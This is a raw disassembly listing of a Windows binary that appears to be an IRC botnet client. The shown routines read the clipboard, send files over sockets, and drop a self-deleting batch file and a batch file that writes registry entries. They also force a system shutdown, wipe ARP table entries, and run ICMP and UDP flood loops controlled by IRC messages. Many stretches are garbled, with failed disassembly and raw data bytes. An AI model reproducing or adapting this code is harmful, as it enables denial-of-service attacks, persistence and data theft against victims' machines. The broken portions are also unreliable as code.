esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_411F70 mov esi, [ebp+arg_0] push esi call sub_4126F0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_407945 or eax, 0FFFFFFFFh jmp short loc_4079B8 ; --------------------------------------------------------------------------- loc_407945: ; CODE XREF: sub_40790F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_407967 loc_407951: ; CODE XREF: sub_40790F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40795E cmp dl, 0Dh jnz short loc_407962 loc_40795E: ; CODE XREF: sub_40790F+48j and byte ptr [ecx+esi], 0 loc_407962: ; CODE XREF: sub_40790F+4Dj inc ecx cmp ecx, eax jl short loc_407951 loc_407967: ; CODE XREF: sub_40790F+40j xor edx, edx push edi test eax, eax jle short loc_407998 lea edi, [ebp+var_7CC] loc_407974: ; CODE XREF: sub_40790F+87j cmp byte ptr [edx+esi], 0 jnz short loc_407993 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_407993 cmp ebx, 1F4h jge short loc_407998 mov [edi], ecx inc ebx add edi, 4 loc_407993: ; CODE XREF: sub_40790F+69j ; sub_40790F+74j inc edx cmp edx, eax jl short loc_407974 loc_407998: ; CODE XREF: sub_40790F+5Dj ; sub_40790F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_4079B6 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_411FD0 add esp, 0Ch loc_4079B6: ; CODE XREF: sub_40790F+8Ej mov eax, ebx loc_4079B8: ; CODE XREF: sub_40790F+34j pop esi pop ebx leave retn sub_40790F endp ; =============== S U B R O U T I N E ======================================= sub_4079BC proc near ; CODE XREF: sub_407A16+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4079F5 push ebx mov ebx, edi loc_4079D9: ; CODE XREF: sub_4079BC+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4079F8 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_4079D9 pop ebx loc_4079F5: ; CODE XREF: sub_4079BC+18j pop edi pop esi retn sub_4079BC endp ; =============== S U B R O U T I N E ======================================= sub_4079F8 proc near ; CODE XREF: sub_4079BC+25p ; sub_407A16+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_413A37 cmp al, 61h pop ecx jl short loc_407A13 cmp al, 7Ah jg short loc_407A13 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_407A13: ; CODE XREF: sub_4079F8+Ej ; sub_4079F8+12j xor eax, eax retn sub_4079F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A16 proc near ; CODE XREF: sub_408EF7+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_412770 push ebx push esi push edi push [ebp+arg_0] call sub_4126F0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_4126F0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_4079BC add esp, 14h dec esi mov edi, esi loc_407A54: ; CODE XREF: sub_407A16+B6j test esi, esi jle short loc_407AD2 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_413A37 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_413A37 pop ecx cmp eax, ebx pop ecx jz short loc_407ACA loc_407A7A: ; CODE XREF: sub_407A16+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4079F8 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_407A9B mov eax, ecx loc_407A9B: ; CODE XREF: sub_407A16+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_407ACE mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_413A37 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_413A37 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_407A7A loc_407ACA: ; CODE XREF: sub_407A16+62j dec edi dec esi jmp short loc_407A54 ; --------------------------------------------------------------------------- loc_407ACE: ; CODE XREF: sub_407A16+8Aj xor eax, eax jmp short loc_407AD7 ; --------------------------------------------------------------------------- loc_407AD2: ; CODE XREF: sub_407A16+40j mov eax, [ebp+arg_0] add eax, edi loc_407AD7: ; CODE XREF: sub_407A16+BAj pop edi pop esi pop ebx leave retn sub_407A16 endp ; --------------------------------------------------------------------------- loc_407ADC: ; CODE XREF: .nsp0:0040DA71p ; .nsp0:0040E4C6p push ebp mov ebp, esp sub esp, 100h push esi call dword_41D06C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp-100h] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 0AB0000h mov ds:0FF00858Dh, al ; --------------------------------------------------------------------------- db 0FFh dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh dd 858DE67Ch, 0FFFFFF00h, 0F8BE5056h, 0FF00433Bh, 1C680875h dd 6800423Ah, 200h, 0A90CE856h, 0C4830000h, 5EC68B18h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_407B66 proc near ; CODE XREF: .nsp0:0040EF38p push esi push 0 call dword_433A98 ; OpenClipboard test eax, eax jz short loc_407B9D push 1 call dword_433AB8 ; GetClipboardData mov esi, eax test esi, esi jz short loc_407B9D push edi push esi call dword_41D0C4 ; GlobalLock push esi mov edi, eax call dword_41D0C0 ; GlobalUnlock call dword_433B1C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_407B9D: ; CODE XREF: sub_407B66+Bj ; sub_407B66+19j xor eax, eax pop esi retn sub_407B66 endp ; --------------------------------------------------------------------------- loc_407BA1: ; CODE XREF: .nsp0:0040E475p push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_433AD4 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_407C1D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 0AB0000h sahf push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 0AB0000h ; --------------------------------------------------------------------------- dd 2474FF8Ch, 53D88B14h, 0A305E8h, 56595900h, 0C868016Ah dd 55000004h, 3B2415FFh, 6A560043h, 4C96801h, 0FF550000h dd 433B2415h, 0F1E85300h, 50006A83h, 7415FF57h, 6A0041D0h dd 0EB5B5801h db 2 ; --------------------------------------------------------------------------- loc_407C1D: ; CODE XREF: .nsp0:00407BB7j xor eax, eax pop edi pop esi pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C23 proc near ; CODE XREF: .nsp0:00409D0Dp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_433B84 ; SearchPathA test eax, eax jz short loc_407CC2 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_41D07C push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; dword_41D07C mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_407CC2 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 0AB0000h ficom word ptr [ebx-75h] sbb eax, offset dword_41D074 call ebx ; send push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; dword_41D07C mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_407CC2 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 0AB0000h in eax, 56h call ebx ; send loc_407CC2: ; CODE XREF: sub_407C23+2Aj ; sub_407C23+51j ... pop edi pop esi pop ebx leave retn sub_407C23 endp ; =============== S U B R O U T I N E ======================================= sub_407CC7 proc near ; CODE XREF: .nsp0:0040B3C2p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_410A0C pop ecx pop ecx push 50005h push 6 call dword_433A10 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_407CC7 endp ; --------------------------------------------------------------------------- loc_407CE9: ; CODE XREF: .nsp0:0040F199p push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_425B68, esi push edi jz short loc_407D0D cmp dword_433B98, esi jnz short loc_407D0D push esi call sub_409026 pop ecx loc_407D0D: ; CODE XREF: .nsp0:00407CFCj ; .nsp0:00407D04j call sub_411B63 lea eax, [ebp-764h] push eax push 400h call near ptr 0AB0000h inc ecx lea eax, [ebp-764h] push eax lea eax, [ebp-260h] push offset aSdel_bat ; "%sdel.bat" push eax call sub_411EEE add esp, 0Ch lea eax, [ebp-260h] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_41D07C ; CreateFileA mov edi, eax cmp edi, esi jbe loc_407E6D lea eax, [ebp-260h] push eax lea eax, [ebp-764h] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_411EEE add esp, 0Ch lea eax, [ebp-4] push esi push eax lea eax, [ebp-764h] push eax call sub_4126F0 pop ecx push eax lea eax, [ebp-764h] push eax push edi call near ptr 0AB0000h leave push edi call dword_41D074 ; CloseHandle push 10h lea eax, [ebp-14h] push esi push eax call sub_411F70 push 44h lea eax, [ebp-58h] pop edi push edi push esi push eax call sub_411F70 add esp, 18h mov [ebp-58h], edi mov edi, 104h lea eax, [ebp-15Ch] push edi push eax push esi mov dword ptr [ebp-4Ch], offset byte_432708 mov dword ptr [ebp-2Ch], 1 mov [ebp-28h], si call near ptr 0AB0000h mov ch, 50h call near ptr 0AB0000h mov ebx, 0FEA4858Dh ; --------------------------------------------------------------------------- db 2 dup(0FFh), 50h dd 0D08015FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h, 8068FFh dd 0E8500000h, 6A81ECh, 0A4858D5Ch, 50FFFFFEh, 0FDA0858Dh dd 8D50FFFFh, 0FFF89C85h, 3A5C68FFh, 0E8500042h, 0A0BAh dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 0B5E850FFh dd 14006A81h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 6A8194h db 86h ; --------------------------------------------------------------------------- loc_407E6D: ; CODE XREF: .nsp0:00407D5Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E71 proc near ; CODE XREF: .nsp0:00409B22p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_412770 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCTempr_bat ; "c:\\tempr.bat" push eax movsb call sub_411EEE pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_41D07C ; CreateFileA mov edi, eax cmp edi, esi jbe short near ptr loc_407F2A+1 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call near ptr 0AB0000h fcom qword ptr [edi-1] adc eax, offset dword_41D074 push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_411F70 add esp, 0Ch lea ecx, [ebp+var_58] mov [ebp+var_48], edi mov [ebp+var_18], si push 1 pop eax push ecx lea ecx, [ebp+var_48] push ecx push esi push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi call near ptr 0AB0000h loc_407F2A: ; CODE XREF: sub_407E71+55j jb short near ptr loc_407F86+5 pop esi leave retn sub_407E71 endp ; =============== S U B R O U T I N E ======================================= sub_407F2F proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_433B08 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_407F57 push [esp+arg_0] call dword_433B4C ; gethostbyname test eax, eax jnz short loc_407F50 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_407F50: ; CODE XREF: sub_407F2F+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_407F57: ; CODE XREF: sub_407F2F+Dj retn sub_407F2F endp ; =============== S U B R O U T I N E ======================================= sub_407F58 proc near ; CODE XREF: sub_40A059+D6p mov ecx, dword_4339F0 xor eax, eax test ecx, ecx jz short locret_407F66 call ecx ; dword_4339F0 locret_407F66: ; CODE XREF: sub_407F58+Aj retn sub_407F58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F67 proc near ; CODE XREF: .nsp0:loc_40EEEAp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx loc_407F86: ; CODE XREF: sub_407E71:loc_407F2Aj call dword_433B44 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40802D sub ecx, 32h jz loc_408026 sub ecx, 48h jz short loc_407FC7 sub ecx, 6Eh jz short loc_407FC0 loc_407FA9: ; CODE XREF: sub_407F67+8Bj push eax lea eax, [ebp+var_88] push offset unk_42529C push eax call sub_411EEE add esp, 0Ch jmp short loc_408007 ; --------------------------------------------------------------------------- loc_407FC0: ; CODE XREF: sub_407F67+40j push offset unk_425264 jmp short loc_407FF9 ; --------------------------------------------------------------------------- loc_407FC7: ; CODE XREF: sub_407F67+3Bj push [ebp+var_8] call sub_41279F push [ebp+var_8] mov esi, eax push edi push esi call sub_411F70 add esp, 10h cmp esi, edi jz short loc_407FF4 lea eax, [ebp+var_8] push ebx push eax push esi call dword_433B44 ; GetIpNetTable cmp eax, edi jz short loc_40802D jmp short loc_407FA9 ; --------------------------------------------------------------------------- loc_407FF4: ; CODE XREF: sub_407F67+79j push offset unk_425220 loc_407FF9: ; CODE XREF: sub_407F67+5Ej ; sub_407F67+C4j lea eax, [ebp+var_88] push eax call sub_411EEE pop ecx pop ecx loc_408007: ; CODE XREF: sub_407F67+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_408E17 pop ecx loc_408017: ; CODE XREF: sub_407F67+C8j ; sub_407F67+DCj push esi call sub_412813 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_408026: ; CODE XREF: sub_407F67+32j push offset unk_4251DC jmp short loc_407FF9 ; --------------------------------------------------------------------------- loc_40802D: ; CODE XREF: sub_407F67+29j ; sub_407F67+89j cmp [esi], edi jbe short loc_408017 lea ebx, [esi+4] loc_408034: ; CODE XREF: sub_407F67+DAj push ebx call dword_433B40 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_408034 jmp short loc_408017 sub_407F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408045 proc near ; CODE XREF: .nsp0:0040252Fp ; sub_4032B0+4Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_411F70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_433A6C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_433DFC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_411EEE add esp, 18h mov eax, esi pop esi leave retn sub_408045 endp ; =============== S U B R O U T I N E ======================================= sub_40809E proc near ; CODE XREF: .nsp0:004012FEp ; .nsp0:00401344p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_4080C7 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_4080BA: ; CODE XREF: sub_40809E+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_4080BA pop edi jmp short loc_4080CB ; --------------------------------------------------------------------------- loc_4080C7: ; CODE XREF: sub_40809E+Aj mov edx, [esp+4+arg_0] loc_4080CB: ; CODE XREF: sub_40809E+27j test esi, esi pop esi jz short loc_4080D5 movzx ecx, byte ptr [edx] add eax, ecx loc_4080D5: ; CODE XREF: sub_40809E+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40809E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080EB proc near ; DATA XREF: .nsp0:0040CC56o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_412770 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_433A54 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_433B08 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_408146 lea eax, [ebp+var_C0] push eax call dword_433B4C ; gethostbyname cmp eax, ebx jz short loc_40814C loc_408146: ; CODE XREF: sub_4080EB+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_4081A9 loc_40814C: ; CODE XREF: sub_4080EB+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_425320 push eax call sub_411EEE add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40818C push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40F9F1 add esp, 14h loc_40818C: ; CODE XREF: sub_4080EB+7Fj lea eax, [ebp+var_344] push eax call sub_408E17 push [ebp+var_30] call sub_411CB6 pop ecx pop ecx push edi call near ptr 0AB0000h cmc loc_4081A9: ; CODE XREF: sub_4080EB+5Fj cmp eax, ebx jz short loc_4081B9 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_4081BC ; --------------------------------------------------------------------------- loc_4081B9: ; CODE XREF: sub_4080EB+C0j mov [ebp+var_4], esi loc_4081BC: ; CODE XREF: sub_4080EB+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_411F70 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_4081DC mov [ebp+var_3C], eax loc_4081DC: ; CODE XREF: sub_4080EB+ECj cmp [ebp+var_38], edi jge short loc_4081E4 mov [ebp+var_38], edi loc_4081E4: ; CODE XREF: sub_4080EB+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_408211 loc_4081EB: ; CODE XREF: sub_4080EB+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4339EC ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_4081EB loc_408211: ; CODE XREF: sub_4080EB+FEj push [ebp+arg_0] call dword_433B80 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_4252E0 push eax call sub_411EEE add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40825A push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40F9F1 add esp, 14h loc_40825A: ; CODE XREF: sub_4080EB+14Dj lea eax, [ebp+var_344] push eax call sub_408E17 push [ebp+var_30] call sub_411CB6 pop ecx pop ecx push ebx call near ptr 0AB0000h dec ebp sub_4080EB endp ; sp-analysis failed loc_408277: ; DATA XREF: .nsp0:0040CD9Do push ebp mov ebp, esp mov eax, 10310h call sub_412770 mov eax, [ebp+8] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd push 1 pop esi mov [eax+120h], esi call dword_41D048 ; GetTickCount push eax call sub_411F40 pop ecx push 11h push 2 push 2 call dword_433B48 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp-0B0h] mov word ptr [ebp-10h], 2 push eax call dword_433B08 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+8], eax jnz short loc_40835C lea eax, [ebp-0B0h] push eax call dword_433B4C ; gethostbyname cmp eax, edi jnz short near ptr loc_408354+1 lea eax, [ebp-0B0h] push eax lea eax, [ebp-334h] push offset dword_42539C push eax call sub_411EEE add esp, 0Ch cmp [ebp-18h], edi jnz short loc_408338 push edi lea eax, [ebp-334h] push dword ptr [ebp-1Ch] push eax lea eax, [ebp-130h] push eax push dword ptr [ebp-134h] call sub_40F9F1 add esp, 14h loc_408338: ; CODE XREF: .nsp0:00408316j lea eax, [ebp-334h] push eax call sub_408E17 push dword ptr [ebp-20h] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h loc_408354: ; CODE XREF: .nsp0:004082F6j mov eax, [bx+si+0Ch] mov eax, [eax] jmp short loc_40835F ; --------------------------------------------------------------------------- loc_40835C: ; CODE XREF: .nsp0:004082E5j lea eax, [ebp+8] loc_40835F: ; CODE XREF: .nsp0:0040835Aj mov eax, [eax] cmp [ebp-24h], edi mov [ebp-0Ch], eax jnz short loc_40837A call sub_411F4A cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40837D ; --------------------------------------------------------------------------- loc_40837A: ; CODE XREF: .nsp0:00408367j push dword ptr [ebp-24h] loc_40837D: ; CODE XREF: .nsp0:00408378j call dword_433AC8 ; ntohs cmp [ebp-24h], esi mov [ebp-0Eh], ax jge short loc_40838F mov [ebp-24h], esi loc_40838F: ; CODE XREF: .nsp0:0040838Aj mov eax, 0FFFFh cmp [ebp-24h], eax jle short loc_40839C mov [ebp-24h], eax loc_40839C: ; CODE XREF: .nsp0:00408397j mov eax, [ebp-30h] push 0Ah cdq pop ecx idiv ecx cmp [ebp-28h], edi mov [ebp-30h], eax jnz short loc_4083B0 mov [ebp-28h], esi loc_4083B0: ; CODE XREF: .nsp0:004083ABj xor esi, esi cmp [ebp-2Ch], edi jle short loc_4083D1 loc_4083B7: ; CODE XREF: .nsp0:004083CFj call sub_411F4A cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp-2Ch] mov [ebp+esi-10311h], dl jl short loc_4083B7 loc_4083D1: ; CODE XREF: .nsp0:004083B5j ; .nsp0:00408413j ... mov eax, [ebp-30h] dec dword ptr [ebp-30h] test eax, eax jle short loc_408430 push 0Bh pop esi loc_4083DE: ; CODE XREF: .nsp0:0040840Ej lea eax, [ebp-10h] push 10h push eax push edi call sub_411F4A push 0Ah cdq pop ecx idiv ecx mov eax, [ebp-2Ch] sub eax, edx push eax lea eax, [ebp-10310h] push eax push ebx call dword_433B2C ; sendto push dword ptr [ebp-28h] call dword_41D05C ; Sleep dec esi jnz short loc_4083DE cmp [ebp-24h], edi jnz short loc_4083D1 call sub_411F4A cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_433AC8 ; ntohs mov [ebp-0Eh], ax jmp short loc_4083D1 ; --------------------------------------------------------------------------- loc_408430: ; CODE XREF: .nsp0:004083D9j lea eax, [ebp-0B0h] push eax lea eax, [ebp-334h] push offset dword_42535C push eax call sub_411EEE add esp, 0Ch cmp [ebp-18h], edi jnz short loc_408470 push edi lea eax, [ebp-334h] push dword ptr [ebp-1Ch] push eax lea eax, [ebp-130h] push eax push dword ptr [ebp-134h] call sub_40F9F1 add esp, 14h loc_408470: ; CODE XREF: .nsp0:0040844Ej lea eax, [ebp-334h] push eax call sub_408E17 push dword ptr [ebp-20h] call sub_411CB6 pop ecx pop ecx push edi call near ptr 0AB0000h lodsb ; =============== S U B R O U T I N E ======================================= sub_40848D proc near ; CODE XREF: sub_4084F5+7Ep ; .nsp0:loc_408686p mov eax, dword_433E14 push esi mov esi, dword_41D074 cmp eax, 0FFFFFFFFh jz short loc_4084A1 push eax call esi ; dword_41D074 loc_4084A1: ; CODE XREF: sub_40848D+Fj mov eax, dword_433E1C cmp eax, 0FFFFFFFFh jz short loc_4084AE push eax call esi ; dword_41D074 loc_4084AE: ; CODE XREF: sub_40848D+1Cj mov eax, dword_433E10 cmp eax, 0FFFFFFFFh jz short loc_4084BB push eax call esi ; dword_41D074 loc_4084BB: ; CODE XREF: sub_40848D+29j pop esi retn sub_40848D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084BD proc near ; CODE XREF: .nsp0:0040E437p var_17F68A40 = dword ptr -17F68A40h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_4126F0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_433E18 call near ptr 0AB0000h test [ebp+var_17F68A40], 0FFFFFFA1h xor eax, eax leave retn sub_4084BD endp ; --------------------------------------------------------------------------- push 1 pop eax leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084F5 proc near ; CODE XREF: .nsp0:0040864Fp ; .nsp0:0040866Ep ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_432708 push [ebp+arg_4] call sub_412310 pop ecx test eax, eax pop ecx jz short loc_408538 push 7D0h call dword_41D05C ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_411EEE add esp, 10h jmp short loc_40854F ; --------------------------------------------------------------------------- loc_408538: ; CODE XREF: sub_4084F5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_411EEE add esp, 0Ch loc_40854F: ; CODE XREF: sub_4084F5+41j lea eax, [ebp+var_200] push 0 push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_433B18 ; send test eax, eax jg short loc_408578 call sub_40848D loc_408578: ; CODE XREF: sub_4084F5+7Cj xor eax, eax leave retn sub_4084F5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_433E20 loc_408594: ; CODE XREF: .nsp0:004085F5j ; .nsp0:00408657j push esi lea eax, [ebp-20Ch] push edi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp-4] push edi push edi push eax lea eax, [ebp-20Ch] push esi push eax push dword_433E14 call near ptr 0AB0000h xchg eax, esp test eax, eax jz loc_408662 cmp [ebp-4], edi jnz short loc_4085F7 lea eax, [ebp-8] push eax push dword_433E10 call near ptr 0AB0000h xchg eax, edi test eax, eax jz short loc_4085ED cmp dword ptr [ebp-8], 103h jnz loc_408686 loc_4085ED: ; CODE XREF: .nsp0:004085DEj push 0Ah call dword_41D05C ; Sleep jmp short loc_408594 ; --------------------------------------------------------------------------- loc_4085F7: ; CODE XREF: .nsp0:004085CAj xor eax, eax cmp [ebp-4], edi jbe short loc_40860E loc_4085FE: ; CODE XREF: .nsp0:0040860Cj cmp byte ptr [ebp+eax-20Ch], 0Ah jz short loc_40865C inc eax cmp eax, [ebp-4] jb short loc_4085FE loc_40860E: ; CODE XREF: .nsp0:004085FCj mov [ebp-4], esi loc_408611: ; CODE XREF: .nsp0:00408660j push esi lea eax, [ebp-20Ch] push edi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp-0Ch] push edi push eax push dword ptr [ebp-4] lea eax, [ebp-20Ch] push eax push dword_433E14 call dword_41D098 ; ReadFile test eax, eax jz short near 